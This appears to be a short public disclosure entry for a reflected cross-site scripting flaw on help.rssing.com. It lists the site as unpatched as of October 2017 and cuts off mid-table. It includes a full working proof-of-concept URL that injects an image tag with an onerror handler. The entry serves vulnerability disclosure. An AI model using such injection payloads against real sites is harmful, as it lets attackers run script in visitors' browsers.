help.rssing.com XSS vulnerability

Vulnerable URL: http://help.rssing.com/request.php?req=gsearch=%22%3E%3Cimg%20src=x%20onerror=prompt%27OPENBUGBOUNTY%27%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 06.10.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 5740 VIP...